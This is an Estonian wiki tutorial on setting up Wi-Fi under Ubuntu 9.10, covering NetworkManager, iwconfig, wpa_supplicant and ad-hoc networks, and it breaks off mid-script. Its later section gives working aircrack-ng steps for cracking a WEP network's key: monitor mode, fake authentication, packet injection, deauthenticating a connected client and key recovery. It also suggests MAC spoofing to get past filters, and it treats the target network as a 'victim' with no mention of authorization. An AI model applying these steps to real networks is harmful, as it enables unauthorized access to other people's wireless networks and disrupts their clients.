Linux ja wifi

From EIK wiki

Üldinformatsioon

ARTIKKEL ON HETKEL POOLELI!! st. et ärge lõpust midagi otsige :D

Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise ja kasutamise Linuxis. Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides.

Oma Debianil põhineva distributsiooni infot näed käsuga:

# cat /etc/lsb-release

Eeldused

Linuxi käsurea elementaarne kasutusoskus on igal juhul abiks.


Töötav wifi seade

Peamine eeldus on see, et sinu arvuti wifi kaart töötab ehk sobivad moodulid on kernelisse laetud. Seda saad kontrollida alloleva käsuga. Kui käsu väljundis on nähtav wifi seade n. wlan0, ath0 vms. siis on sinu arvuti ilmselt võimeline seda ka kasutama.

# ifconfig -a

Nähes väljundis ainult seadmeid lo,pan0,eth0,eth1 vms. seadmeid pead oma wifi kaardile sobiva mooduli installeerima. Selleks tuvasta kõigepealt oma kaardi tootja ning mudel kasutades käske lspci (sisseehitatud seadmed PCI siinil), lsusb (USB pesas olevad seadmed) või lspcmcia (PCMCIA pessa käivad seadmed). Edasi mine ja googelda n. "<seadme nimi ja mudel> linux wifi", sest riistvara seadistamine ei ole selle artikli eesmärk.

olulised paketid

Järgnevad paketid peaksid olema installeeritud, et kasutada selles artiklis kirjeldatud trikke:

  • wpasupplicant - ilma selleta ei saa ühenduda WPA/WPA2 protokolliga turvatud võrkudega. Vaikimisi installeeritud Ubuntu 9.10, Estobuntu 9.10.1 süsteemides.
  • wireless-tools - sisaldab vajalikke käsurea-rakendusi iwlist,iwconfig jne. Vaikimisi installeeritud Ubuntu 9.10, Estobuntu 9.10.1 süsteemides.
  • aircrack-ng - pakett sisaldab abiks rakendusi wifi võrkude otsimiseks ja turvalisuse murdmiseks. Saadaval ametlikes repositooriumides.

Kui midagi puudu, siis installeerimiseks kasuta järgmist käsku (paketinimi muuda vajadusel ise ära):

# sudo apt-get install aircrack-ng

Kasutatavad tööriistad

iwlist - wifi võrkude otsimine. Kasutamisnäide siin.

iwconfig - wifi seadme konfigureerimine. Kasutamisnäited: turvamata võrguga ühendumine, WEP protokolliga turvatud võrku ühendumine

wpa_password - paroolist PSK võtme genereerimine. Kasutamisnäide siin.

wpa_supplicant

airmon-ng

airodump-ng

aireplay-ng

aircrack-ng

Kasutatavad lühendid

Et mitte teemat väga kirjuks ja pikaks ajada, kirjutaks lahti mõned edaspidi kasutatavad lühendid:

  • PSK - i.k. Pre-Shared Key. Wifi võrgule ligipääsu tagamiseks kasutatav võti, mis on vaja igale kasutajale anda. Turvalisus hea, kuid nõrkadeks kohtadeks ikka rumal kasutaja, kes võib seda edasi jagada või siis lasta oma arvutist varastada. vt lisa http://en.wikipedia.org/wiki/Pre-shared_key
  • MAC, MAC aadress - i.k. Media Access Control address. Võrguseadme füüsiline aadress. Kasutatakse andmelülikihi protokollis Ethernet (OSI mudeli teine kiht). vt lisa http://en.wikipedia.org/wiki/MAC_address

Võrgu seadistamine

Seadistada on võimalik kaht moodi - kasutades võrguhaldurit (Network Manager), mis omab ka graafilist kasutajaliidest või siis käsurealt.

Seadistamine 1: Võrguhalduriga

Võrguhaldur koosneb kahest osast, võrguhalduri teenus ning graafiline kasutajaliides ehk applet. Kui üks neist ei tööta, siis on asjast õige vähe kasu. Ära tuleb märkida ka see, et kuigi teenus on sama, on graafilised kasutajaliidesed erinevatel töölaudadel erinevad (KDE,GNOME). Lisainfot võrguhalduri kohta leiad wikipeediast: http://en.wikipedia.org/wiki/NetworkManager

Võrguhalduri teenus

Teenus on vaikimisi kaasas Ubuntu/Estobuntuga ning käivitatakse alglaadimisel automaatselt, kui sul on selle osas kahtlusi, siis saad teenuse olemasolu ja staatuse kindlaks teha järgneva käsuga:

# service network-manager status

Installeerimine

Kui millegipärast sul teenust ei ole, siis installeerimiseks käivita käsurealt järgnev käsk või otsi network-manageri pakett üles mõnest graafilisest paketihaldurist ja installi sealt:

# sudo apt-get install network-manager

Seadistamine

Ainuke vajaminev seadistus on see, et /etc/network/interfaces failis ei tohi olla kirjeldatud ühtegi võrguseadet, mille manageerimisega võrguhaldur peaks tegelema. Kui soovid, et võrguhaldur tegeleks kõigi olemasolevate võrguseadmetega, siis hoolitse selle eest, et /etc/network/interfaces failis oleks ainult järgnevad read:

auto lo
iface lo inet loopback

kui eemaldasid mõne seadme /etc/network/interfaces failist, siis ära unusta võrguhaldurit restartida:

# service network-manager restart

Võrguhalduri graafiline kasutajaliides e. applet

Applet on üldjuhul kättesaadav töölaua paneelil asuvast süsteemsest dokist, sealt kus asuvad ka teised olulised appletid nagu helitugevuse ja lõikelaua puhvri manageerijad, kui on seadistatud siis ka klaviatuuri asetuste valik. Kui sa sealt dokist ühtegi võrguga tegeleda soovivat rakendust ei leia, siis seda ei kuvata (näiteks automaatne peitmine on aktiivne) või on see kuidagi töölauaseadistuste muutmise käigus kaotsi läinud.

Esimesel juhul vaata üle doki seaded - tee doki peal parem klikk ning avanevast menüüst kliki valiku peal, mis kõige enam meenutab seadeid. Seejärel kontrolli seadetest üle, et ega võrguhalduse appletti automaatselt ei peideta. Teisel juhul peaksid appleti käsitsi käivitama.

Käsitsi saad network manageri appleti käivitada vajutades ALT+F2 ning toksides avanevasse dialoogi:

KDE töölaua puhul:

# knetworkmanager

GNOME töölaua puhul:

# nm-applet

Installeerimine

Kui millegipärast sul ei ole võrguhalduri applet installeeritud, siis saad seda teha nii:

KDE töölaua puhul:

# sudo apt-get install plasma-widget-networkmanagement

GNOME töölaua puhul:

# sudo apt-get install network-manager-gnome

Ühenduse loomine võrguhalduriga

Turvamata võrku ühendumine on imelihtne - kliki võrguhalduri ikoonil, vali "ühenda teise võrku" ning vali soovitav wifi võrk välja.

WEP/WPA/WPA2 protokollidega turvatud võrku ühendumise puhul avatakse peale võrguhalduris soovitud võrgu valikut dialoogiaken, kus saad seadistada parameetreid nagu protokollide tüübid, võtmed jne. Jama tekib siis, kui sa ei tea, mida ja kuidas seadistada. Detailid saad teada n. vaadates oma wifi ruuteri seadistust või siis kasutades mõnda vahvat käsurea rakendust, et näha wifi võrkude detailset infot (vt. Wifi võrkude otsimine iwlist rakendusega).

Ad-hoc võrgu ehk kahe arvuti vahelise wifi võrgu tekitamiseks on võrguhalduri võrkude nimekirjas ka valik "New Ad-Hoc Network...". Seadistamisest pikemalt siis, kui olen välja selgitanud miks sellel valikul klikkides midagi ei toimu.

Seadistamine 2: Käsurealt

Selles osas vähe näpunäiteid, kuidas wifi ühendust käsurealt käima saada. Kuna paljud käsud eeldavad juurkasutaja õigustes käivitamist, siis on soovitav olla ettevaatlik, kuna opsüsteemi untsukeeramine on juurkasutaja õigustes imelihtne.

Esimese asjana tuleb peatada network-manager teenus, kuna vastasel juhul ei saa käsitsi wifi seadet seadistada!

Seda saab teha järgneva käsuga:

# service network-manager stop

Wifi seadme kindlakstegemine

Kuna igasugusteks edasisteks tegevusteks on vaja kindlaks teha wifi seadme nimi, siis allpool väike näide ifconfig käsu kasutusest:

# ifconfig -a

Käsu väljundist otsi wifi-võrguseadmeid, mille nimed on tavaliselt wlan0,ath0 või wifi0. Tuvasta õige seade ning kasuta seda järgnevates peatükkides.

Wifi seade peab olema sisselülitatud olekus ehk ifconfig <võrguseadme nimi> käsu väljundis peab olema näha, et seadme olek on UP.

Näide:

         wlan0     Link encap:Ethernet  HWaddr 00:18:de:77:12:b2
         UP BROADCAST MULTICAST  MTU:1500 meetrika:1
         RX pakette:0 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0
         TX pakette:0 vigu:0 ära visatud:0 ületäit:0 carrier:0
         kollisioone:0 txqueuelen:1000
         RX baite:0 (0.0 B)  TX baite:0 (0.0 B)


Kui seade on väljalülitatud, siis sisse saab selle lülitada järgneva käsuga:

# sudo ifconfig wlan0 up

Skriptides on soovitatav alati enne võrgu seadistamist ülaltoodud käsuga võrguseade üles tuua.

Autori poolt toodud näidetes on edaspidi wifi seadme nimi wlan0 !


Wifi võrkude otsimine

!! Veendu, et võrguseadme olek oleks UP

Nähtavate wifi-võrkude kuvamiseks käivita järgnev käsk:

# sudo iwlist wlan0 scanning

Käsu väljundis on detailid kõikide nähtavate wifi võrkude kohta, eri võrgud on nimetatud "Cell 01", "Cell 02" jne. Olulisemad detailid väljundis on rasvases kirjas.

Näide:

         wlan0     Scan completed :
         Cell 01 - Address: 00:18:39:21:08:B2
                   Channel:7
                   Frequency:2.442 GHz (Channel 7)
                   Quality=35/70  Signal level=-75 dBm
                   Encryption key:off
                   ESSID:"foo"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
                   Extra:tsf=000000000251c180
                   Extra: Last beacon: 2388ms ago
                   IE: Unknown: 000670656C64696B
                   IE: Unknown: 010882848B960C121824
                   IE: Unknown: 030107
                   IE: Unknown: 07064E4120010D14
                   IE: Unknown: 200100
                   IE: Unknown: 2A0100
                   IE: Unknown: 32043048606C
                   IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00
                   IE: Unknown: DD1E00904C334E1003FFFF000000000000000000000000000000000000000000
                   IE: Unknown: DD1A00904C3407050000000000000000000000000000000000000000
                   IE: Unknown: DD0900037F01010000FF7F
         Cell 02 - Address: 00:90:D0:F7:23:62
                   Channel:11
                   Frequency:2.462 GHz (Channel 11)
                   Quality=23/70  Signal level=-87 dBm
                   Encryption key:on
                   ESSID:"kala"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                             24 Mb/s; 36 Mb/s; 54 Mb/s
                   Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                   Mode:Master
                   Extra:tsf=0000096caeb44184
                   Extra: Last beacon: 3428ms ago
                   IE: Unknown: 00105370656564546F756368364431383446
                   IE: Unknown: 010882848B962430486C
                   IE: Unknown: 03010B
                   IE: Unknown: 2A0100
                   IE: Unknown: 2F0100
                   IE: Unknown: 32040C121860
                   IE: Unknown: DD060010180200F0
                   IE: Unknown: DD180050F2020101880003A4000027A4000042435E0062322F00
         Cell 03 - Address: 00:18:39:21:08:B2
                   Channel:7
                   Frequency:2.442 GHz (Channel 7)
                   Quality=70/70  Signal level=-34 dBm
                   Encryption key:on
                   ESSID:"toru"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
                   Extra:tsf=000001a78bbc0180
                   Extra: Last beacon: 568ms ago
                   IE: Unknown: 000670656C64696B
                   IE: Unknown: 010882848B960C121824
                   IE: Unknown: 030107
                   IE: Unknown: 07064E4120010D14
                   IE: Unknown: 200100
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : CCMP
                       Pairwise Ciphers (1) : CCMP
                       Authentication Suites (1) : PSK
                   IE: Unknown: 2A0100
                   IE: Unknown: 32043048606C
                   IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00
                   IE: Unknown: DD1E00904C334E10030000000000000000000000000000000000000000000000
                   IE: Unknown: DD1A00904C3407050000000000000000000000000000000000000000
                   IE: Unknown: DD0900037F01010000FF7F


Ülaltoodud näites on 3 wifi võrku:

Cell 01 ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning AP MAC aadress on 00:90:D0:F7:23:62.

Cell 02 ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning AP MAC aadress on 00:90:D0:F7:23:62.

Cell 03 ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning AP MAC aadress on 00:18:39:21:08:B2.

Ühendumine turvamata võrku

!! Veendu, et network-manager teenus oleks väljalülitatud

!! Veendu, et võrguseadme olek oleks UP

Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 01 baasil.

# sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62

Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on AP mac aadress.

Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress:

# sudo dhclient wlan0

Ühendumine WEP protokolliga turvatud võrku

!! Veendu, et network-manager teenus oleks väljalülitatud

!! Veendu, et võrguseadme olek oleks UP

Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 02 baasil. Seadistada saab nii wpa_supplicant kui ka iwconfig rakendusega. Vali ise omale sobiv. Arvesta ka sellega, et WEP protokoll toetab kaht krüpteeringut: 64bit ja 128bit. Esimene koosneb 40 bitisest võtmest (10 kuueteistkümnendsüsteemi numbrit), millele lisatakse 24 bitine IV (Initialization Vector). Teine koosneb 104 bitisest võtmest ning samuti 24 bitisest IV-st.

Näide: 40 ja 104 bitised võtmed:

       02DEDED6F6
       384ABBB4AD34F81ED84F3AE189


wpa_supplicant rakendusega seadistamine

Salvesta järgnev konfiguratsioon eraldi faili, antud juhul foo.wep.

network={
	ssid="foo"
	key_mgmt=NONE
	wep_key0=384ABBB4AD34F81ED84F3AE189
}

Konfiguratsioonifailis on määratud ssid (võrgu nimi) ning wep_key0 on parooli järgi genereeritud võti (kuueteistkümnendsüsteemi number), mille leiad oma wifi seadme kasutajaliidesest. Konfiguratsioonifailis ei ole vaja määrata kas tegu 40 või 104 bitise võtmega.

Seejärel seadista wifi seade:

# sudo wpa_supplicant -B -Dwext -iwlan0 -cfoo.wep

Antud näites on wext linuxi driveri nimi, wlan0 wifi seade ning foo.wep konfiguratsioonifail. Parameeter -B paneb wpa_supplicant rakenduse käima taustal, ehk IP aadressi saamiseks pole vaja avada uut terminaliakent.

Küsi DHCP kaudu oma arvutile IP aadress:

# sudo dhclient wlan0

Kui IP aadressi said, siis peaks ühendus vähemalt AP-ni toimima.

iwconfig rakendusega seadistamine

# sudo iwconfig wlan0 mode managed essid foo channel auto key 384ABBB4AD34F81ED84F3AE189


Veendumaks, et seadistus on õige, kuva aktiivne seadistus järgneva käsuga:

# iwconfig wlan0

Kui nähtav seadistus erineb sellest, mille sa sisestasid, siis on võimalik, et network-manager teenus on seda modifitseerinud. Nimetatud teenuse peab välja lülitama.

Kui seadistus õige, siis küsi DHCP kaudu oma arvutile IP aadress:

# sudo dhclient wlan0

Ühendumine WPA/WPA2 protokolliga turvatud võrku

!! Veendu, et network-manager teenus oleks väljalülitatud

!! Veendu, et võrguseadme olek oleks UP

Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 03 baasil.

Esimese asjana on vaja genereerida wifi AP paroolist PSK võti ning seejärel tekitada sobiv konfiguratsioonifail. wpa_password rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis.

Kasutamine:

# wpa_passphrase toru password

Antud näites on toru AP ESSID ning password on parool.

Käsu väljund on järgmine:

network={
        ssid="toru"
        #psk="password"
        psk=6bc94c36e4855682695ce1746dc16067f777efecb8176ebc6278942447bd06b2
}

Salvesta see väljund eraldi faili näiteks toru.wpa2 ning täienda järgnevalt:

network={
        ssid="toru"
        #psk="password"
        psk=6bc94c36e4855682695ce1746dc16067f777efecb8176ebc6278942447bd06b2
        key_mgmt=WPA-PSK
        proto=WPA2
}

Parameetrite tähendus:

key_mgmt - lubatud võtmete manageerimisrotokollid.

proto - kasutatav turvaprotokoll n. WPA, WPA2.

Vastavalt vajadusele võib kasutada veel ka järgmisi parameetreid:

priority=2 - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu neist on samal ajal kättesaadavad, siis tehakse ühendumisel valik prioriteedi järgi. Antud juhul siis prioriteediks 2.

scan_ssid=1 - kasutada juhul, kui AP ei näita oma nime (ESSID).

Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada:

# sudo wpa_supplicant -Dwext -iwlan0 -c toru.wpa2

Seejärel küsi DHCP kaudu oma arvutile IP aadress:

# sudo dhclient wlan0

Ainuke erinevus WPA ja WPA2 võrku ühendumisel on määratud turvaprotokoll konfiguratsioonifailis (proto=WPA või proto=WPA2).

Ad-Hoc võrgu seadistamine

Ad-hoc on wifi võrk kahe arvuti vahel ilma wifi ruuterite ja AP-deta.

Kuna kordamine on tarkuse ema, siis tuletan siinkohal meelde, et võrguhalduri teenus on vaja seisata:

Käivita kõikidel arvutitel käsk:

# sudo service network-manager stop

Seejärel pane kõikidel arvutitel wifi seade ad-hoc reziimi samale kanalile ning samanimelisse wifi võrku:

# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9

kus wlan0 on wifi seade, kala on võrgu nimi ning 9 on kanal, millel võrk töötab.

Edasi on vaja seadistada kõikide arvutite IP aadressid ja võrgumaskid. Kui ühel arvutil töötab DHCP server, siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi.

Üldiselt ei ole mõtet DHCP serveriga jamada, kui seadistad võrku ajutiseks kasutamiseks. Käsitsi seadistamine on piisavalt lihtne.

Käsitsi seadistamiseks kasuta ifconfig käsku:

# sudo ifconfig wlan0 up
# sudo ifconfig wlan0 netmask 255.255.255.0 192.168.1.1

Esimese käsuga lülitame sisse wifi seadme, teisega konfigureerime ip aadressi ja võrgumaski. Kus wlan0 on wifi seade, 192.168.1.1 on ip aadress ja 255.255.255.0 võrgumask.

! Teistel arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne. Võrgumask peab jääma samaks.

! Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta IP aadress ja võrgumask faili /etc/network/interfaces . Juhendeid selle faili modifitseerimiseks leiad internetist.

! Kõik seadmed, mis on seadistatud /etc/network/interfaces failis , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.

Võrgu toimise kontrollimiseks pingi käsurealt teist arvutit. Kui ping toimib siis tõenäoliselt ka ülejäänud konfigureeritud teenused. Failide ühest arvutist teise tõstmiseks on kõige lihtsam kasutada samba teenust.

WEP/WPA/WPA2 turvaprotokollide murdmine

!! Veendu, et network-manager teenus oleks väljalülitatud

!! Veendu, et võrguseadme olek oleks UP

!! Veendu, et aircrack-ng pakett oleks installeeritud

Et turvatud võrkudele ligi pääseda, peab nende võtme kuidagi välja nuputama. WEP protokoll on piisavalt ebaturvaline, et võti teatud vahenditega kätte saada, ilma sõnastikupõhist rünnet kasutamata. Samas on selle eelduseks see, et keegi edukalt autentinud (ehk õiget võtit omav) tegelane parasjagu võrku kasutab.

WPA/WPA2 puhul on mõistlikud ainult sõnastikupõhised ründed. Kõikvõimalike kombinatsioonide läbiproovimine võib võtta aastaid, umbkaudse ettekujutuse saab siit.

Võrkude otsimine

Et sobiv "ohver" leida, ei piisa lihtsalt iwlist rakendusega nähtavate võrkude otsimisest. Näiteks WEP võtme leidmiseks on vaja näha ka AP kliente.

Seega alustaks sellest, et lülitaks wifi seadme monitor režiimi:

# sudo airmon-ng start wlan0

Selle käsu peale tekitatakse uus, nö. monitor seade, vaikimisi mon0 (nimi käsu väljundist leitav n. "monitor mode enabled on mon0"). Tähelepanu! Kõik wifi seadmed ei toeta monitor režiimi.

Seejärel paneme käima skänneri eelpool tekitatud seadmele:

# sudo airodump-ng mon0

Skänneri väljund on näiteks järgmine:

    CH 10 ][ Elapsed: 2 mins ][ 2010-04-22 21:11
    
    BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
    
    00:18:39:21:08:B2  -41      122       92    0   7  54e. WEP  WEP         foo
    00:90:D0:F7:23:62  -80      608       11    0  11  54e  WEP  WEP         SpeedTouch6D184F
    00:0D:0B:87:78:6F  -86      224        0    0   7  54   WPA  CCMP   PSK  elektrikaar 2
    00:16:01:A1:EE:BD  -86      126        3    0   1  54e  OPN              001601A1EEBD
    00:21:91:2F:75:37  -87      157        0    0   6  54 . WEP  WEP         STV-AERO667
    00:90:D0:F3:9B:7A   -1        0        1    0 108  -1   WEP  WEP         <length:  0>
    00:17:9A:D3:2F:38  -92        2       11    0  13  54e. OPN              <length:  5>
    00:16:B6:D9:76:8C  -91        4        0    0  11  54   WPA  TKIP   PSK  kolja
    
    BSSID              STATION            PWR   Rate    Lost  Packets  Probes
    
    00:18:39:21:08:B2  C4:17:FE:2F:9B:AF    0    1e- 1e     0      149  foo
    00:16:01:A1:EE:BD  00:16:EA:70:26:06   -1    1e- 0      0        1
    00:90:D0:F3:9B:7A  00:1C:10:6C:EA:15  -81    0 - 1      0        8
    (not associated)   00:22:FA:09:FC:48  -88    0 - 1      0        3  TRENDnet


Antud näite puhul on väljundis näha juba eelnevatest peatükkidest tuttav WEP protokolliga turvatud võrk foo. Väljundis on olulisemad detailid rasvaselt tähistatud. Näha on ka see, et nagu tellitult on sellega edukalt seotud ka üks arvuti, mille MAC aadress on 00:18:DE:77:12:B2. Kui sobiv märklaud leitud, siis katkesta skänneri töö (CTRL+C), sest skänneri töö ajal muudetakse wifi seadme kanalit mitu korda sekundis, mis välistab igasugu edasised tegevused "ohvri" kanalil.

Lisainfoks:

Vajaduse korral võib monitor seadme panna tööle kindlale kanalile, selleks tuleb monitor seadme käivitamisel lisada käsurea lõppu kanali number:

# sudo airmon-ng start wlan0

Monitor seadme saab peatada järgneva käsuga:

# sudo airmon-ng stop wlan0

WEP

WEP võtme leidmiseks vali skänneri väljundist välja WEP võrk, millega on edukalt seotud mingi teine arvuti. Kui teine arvuti on skänneri väljundis näha, siis ilmselt mingi liiklus AP ja kliendi vahel toimub mis teeb võtme leidmise võimalikuks.

Antud juhul siis valime väljundist foo võrgu, mille ESSID on mõistagi foo, AP MAC aadress on 00:18:39:21:08:B2, ning mis töötab kanalil 7 .

Lisaks on edasistes toimetustes tarvis teada sinu arvuti wifi seadme MAC aadressi, mille leiad järgneva käsu abil:

# ifconfig wlan0

Allolevas käsu väljundis on wifi seadme MAC aadress märgitud rasvases kirjas:

         wlan0     Link encap:Ethernet  HWaddr 00:18:de:77:12:b2
         inet aadress:192.168.1.100  bcast:192.168.1.255  mask:255.255.255.0
         inet6 aadr: fe80::218:deff:fe77:12b2/64 skoop:ühendus
         UP BROADCAST RUNNING MULTICAST  MTU:1500 meetrika:1
         RX pakette:6281 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0
         TX pakette:5056 vigu:0 ära visatud:0 ületäit:0 carrier:0
         kollisioone:0 txqueuelen:1000
         RX baite:6681822 (6.6 MB)  TX baite:632586 (632.5 KB)


Ühenduse kontroll

Kontrollime, et ühendus AP-ga oleks kvaliteetne ning et pakettide saatmine (packet injection) töötaks. Kui asi ei toimi, siis pole edasistel tomingutel mõtet:

Kontrollimiseks käivita käsk:

# sudo aireplay-ng -9 -e foo -a 00:18:39:21:08:B2 mon0

kus foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC.

Käsu väljund on umbes järgmine:

      For information, no action required: Using gettimeofday() instead of /dev/rtc
      21:46:43  Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7
      21:46:44  Trying broadcast probe requests...
      21:46:44  Injection is working!
      21:46:46  Found 1 AP
      21:46:46  Trying directed probe requests...
      21:46:46  00:18:39:21:08:B2 - channel: 7 - 'foo'
      21:46:48  Ping (min/avg/max): 2.223ms/68.812ms/80.577ms Power: -28.03
      21:46:48  30/30: 100%

Kui rasvases kirjas tähistatud protsent on väike, siis oled ilmselt AP-st liiga kaugel ning sinu arvuti wifi signaal ei jõua korralikult AP-ni.

Initsialiseerimisvektorite (IV) kogumine

Kasutame airodump-ng rakendust järgneval viisil:

# sudo airodump-ng -c 7 --bssid 00:18:39:21:08:B2 -w foo_dump -i mon0

Kus 7 on kanal, millel foo võrk töötab. 00:18:39:21:08:B2 on AP MAC. foo_dump on faili nimi, kuhu IV-d salvestatakse ning mon0 on monitor režiimis olev seade.


Väljund on umbes selline:

     CH  7 ][ Elapsed: 17 mins ][ 2010-05-06 21:42
     BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
     00:18:39:21:08:B2  -26   1      960     1562    0   7  54e. WEP  WEP    OPN  foo
     BSSID              STATION            PWR   Rate    Lost  Packets  Probes
     00:18:39:21:08:B2  00:18:DE:77:12:B2    0    0 - 1      0   875753 
     00:18:39:21:08:B2  C4:17:FE:2F:9B:AF  -29    0 - 1    474     1478

Olulised asjad mida jälgida, on märgitud rasvases kirjas. Juttu tuleb neist pakettide saatmise osas .


Sinu wifi seadme MAC aadressi sidumine AP-ga

On vajalik, et AP ei ignoreeriks sinu poolt saadetavaid pakette. Ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk:

# sudo aireplay-ng -1 0 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0

Kus foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC, 00:18-DE-77-12-B2 sinu wifi seadme MAC ning mon0 jällegi monitor režiimis olev seade.

Eduka sidumise puhul on väljundiks midagi sellist:

      21:59:27  Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7
      21:59:28  Sending Authentication Request (Open System) [ACK]
      21:59:28  Authentication successful
      21:59:28  Sending Association Request [ACK]
      21:59:28  Association successful :-) (AID: 1)

Kui sidumine ei õnnestunud, siis ilmselt on AP-l peal MAC aadresside filtreering - ligipääs lubatud ainult kindlate MAC aadressidega seadmetelt.

Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta.

Osade AP-de puhul tuleb sidumist iga natukese aja tagant korrata, selleks sobib järgmine käsk:

# sudo aireplay-ng -1 6000 -o 1 -q 10 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0

Kus 6000 on sidumise kordus intervall (6000 sekundit), -o 1 on ainult ühe pakettide komplekti samaaegseks saatmiseks, -q 10 saadab iga 10 sekundi tagant keep alive paketi, foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC, 00:18-DE-77-12-B2 sinu wifi seadme MAC ning mon0 jällegi monitor režiimis olev seade.

Väljund on umbes selline:

        21:43:59  Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7
        21:43:59  Sending Authentication Request (Open System) [ACK]
        21:43:59  Authentication successful
        21:43:59  Sending Association Request [ACK]
        21:43:59  Association successful :-) (AID: 1)
        21:44:09  Sending keep-alive packet
        21:44:19  Sending keep-alive packet
        21:44:29  Sending keep-alive packet


Alustame pakettide saatmist (package injection)

See operatsioon on mõeldud IV-de kiireks kogumiseks. Alternatiivina peaks wifi võrku kuulama pikka aega, et sellega seotud seadmete tekitatud liiklusest piisav kogus IV-si välja nuuskida.

# sudo aireplay-ng -3 -b 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0

Väljund on umbes selline:

<varsti tuleb siia väljund>

Seotud klientide lahtiühendamine

Kui soovid tekitada natuke liiklust ja/või kasutada ühendumiseks mingi AP-ga seotud arvuti MAC aadressi, siis võid proovida järgnevat käsku:

# sudo aireplay-ng -0 1 -a 00:18:39:21:08:B2 -c C4:17:FE:2F:9B:AF mon0

Kus 00:18:39:21:08:B2 on AP MAC, C4:17:FE:2F:9B:AF lahtiühendatava kliendi MAC ning mon0 jällegi monitor režiimis olev seade. Kliendi MAC aadressi ärajätmisel ühendatakse lahti kõik seotud seadmed k.a. sinu enda oma.

Ideaalis võiks väljund olla järgnev:

      21:49:29  Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7
      21:49:31  Sending 64 directed DeAuth. STMAC: [C4:17:FE:2F:9B:AF] [64|64 ACKs]

Rasvases kirjas märgitud numbrid näitavad AP ja lahtiühendatava kliendi vastuseid saadetud de-auth pakettidele. Numbrid võivad olla suurema, kui kliendi ja AP vahel toimib aktiivne liiklus. Paha lugu on siis, kui lahtiühendatav klient ei ürita automaatselt tagasi ühenduda - mingit edasist liiklust ei toimu.

Võtme leidmine

# sudo aircrack-ng -z -b 00:18:39:21:08:B2 foo_dump*.ivs

või siis

# sudo aircrack-ng -a 1 -0 -n 128 foo_dump*.ivs


WPA/WPA2

Abiks skriptid

Allolevad skriptid tuleks salvestada faili ning anda failile chmod käsuga käivitusõigus.

Järgnev skript on parima leviga vabasse wifi võrku ühendumise automatiseerimiseks. Töötab väga hästi IT Kolledzis (v.a. võrgulaboris, kus kohalikud ilma võrguühenduseta AP-d on tugevama signaaliga).

#!/bin/bash
# Connect to best quality open wifi written by Argo Ellisson

# wifi device selection, default wlan0, can be changed in script or given as first parameter to the script.
if [ $# == 0 ]; then
	WD="wlan0"
else
	WD=$1
fi

# Stop network-manager service and bring device up just in case
sudo service network-manager stop > /dev/null 2>&1
sudo ifconfig $WD up > /dev/null 2>&1

sudo iwlist $WD scanning | egrep "Address|ESSID|Quality|Channel|Encryption" | \
awk -v WD=$WD 'BEGIN{maxq = 0; maxqi = 0;}{\
if ($1 == "Cell"){\
	i = $2;\
	namearray[$2] = $2;\
	aparray[$2]=$5;\
